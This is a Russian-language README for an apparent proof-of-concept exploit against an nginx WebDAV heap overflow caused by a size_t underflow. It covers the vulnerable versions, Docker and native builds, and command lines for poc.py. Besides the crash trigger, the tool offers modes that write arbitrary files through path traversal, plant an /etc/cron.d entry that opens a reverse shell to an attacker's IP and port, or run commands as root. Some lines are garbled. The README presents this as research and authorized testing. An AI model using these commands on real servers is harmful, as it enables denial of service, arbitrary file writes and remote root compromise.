
NGINX `ngx_http_dav_module` Переполнение буфера кучи через `size_t` underflow (Удаленный DoS / Потенциальное RCE)
NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)
ngx_http_dav_copy_move_handler() в src/http/modules/ngx_http_dav_module.c вычисляет длину URI назначения, вычитая длину префикса location из компонента пути URI заголовка Destination. Оба значения имеют тип size_t (беззнаковый 64-битный). Когда путь назначения короче префикса location, вычитание переполняется до ~0, создавая огромную длину для memcpy, что переполняет выделенный в куче блок в 7 байт и приводит к краху рабочего процесса.
Один специально сформированный запрос MOVE или к DAV-локации, сопоставленной с , вызывает переполнение. Мастер-процесс nginx перезапускает рабочий процесс, но повторные запросы удерживают сервер в непрерывном цикле краха.
COPYaliasASan подтверждает: negative-size-param: (size=-7) в memcpy в ngx_http_core_module.c:1949, вызванном из ngx_http_dav_copy_move_handler.
Затронуты: nginx 0.5.13 – 1.28.2 (стабильная) и 1.29.0 – 1.29.6 (mainline), собранный с --with-http_dav_module и использующий alias в DAV-локации. Исправлено в версиях 1.28.3 / 1.29.7 (коммит ab4b5b8, PR #1210).
# Docker (рекомендуется -- собирает уязвимый nginx из исходников):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Нативная сборка (собирает nginx 1.28.2 из исходников, без Docker):
./run.sh # сборка без ASan (наблюдение краха SIGSEGV)
./run.sh --asan # сборка с ASan (окончательное доказательство)
./run.sh --both # запуск обоих вариантов последовательно
# Против существующего уязвимого экземпляра nginx:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # если триггерный файл уже существует
python3 poc.py --target <HOST:PORT> --verbose
Режим по умолчанию остаётся каноническим триггером краха. Он отправляет PUT, а затем специально сформированный MOVE, чей путь Destination короче префикса DAV-локации:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Для авторизованных лабораторных конфигураций, где обработка назначения DAV допускает обход относительного назначения, тот же инструмент может доставить контролируемое атакующим содержимое по выбранному пути. Точные значения --location-prefix, --escape-depth и путь назначения должны быть получены из вашей собственной конфигурации сервиса и разведки:
# Запись буквального содержимого по выбранному пути через обработку назначения COPY/MOVE.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Запись байтов из локального файла.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Доставка записи cron, открывающей обратную оболочку.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <IP_АТАКУЮЩЕГО> --lport 4444
# Доставка одноразовой команды cron для неинтерактивного авторизованного подтверждения.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell и cron-cmd — это универсальные вспомогательные инструменты доставки для авторизованных сред с доступным для записи DAV-источником и обходом пути назначения. Они не требуются для доказательства канонического краха из-за переполнения кучи.
--with-http_dav_module, блок location, использующий alias (не root), dav_methods включает COPY или MOVErequests используется, если доступен, в противном случае PoC использует стандартную библиотеку Python для обычных HTTP-целей.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| Файл | Описание |
|---|---|
poc.py | Python PoC — канонический триггер краха плюс общие режимы назначения COPY/MOVE |
run.sh | Собирает nginx из исходников (ASan / без ASan) и запускает PoC |
Dockerfile | Многоступенчатая сборка уязвимого nginx 1.28.2 |
docker-compose.yml | Настройка Docker одной командой |
nginx.conf | Уязвимая конфигурация (alias + dav_methods COPY MOVE) |
proof_output.txt | Вывод ASan из проверки в реальном времени |
Этот проект распространяется под лицензией GNU GPLv3.
Он предоставлен для оборонительного исследования безопасности, обучения и авторизованного тестирования. Не используйте этот код против систем или сервисов без явного разрешения владельца.
Несанкционированное использование может нарушать применимое законодательство. Авторы не дают разрешения на тестирование сторонних систем и не несут ответственности за неправомерное использование.
См. файл LICENSE для условий гарантии и ответственности.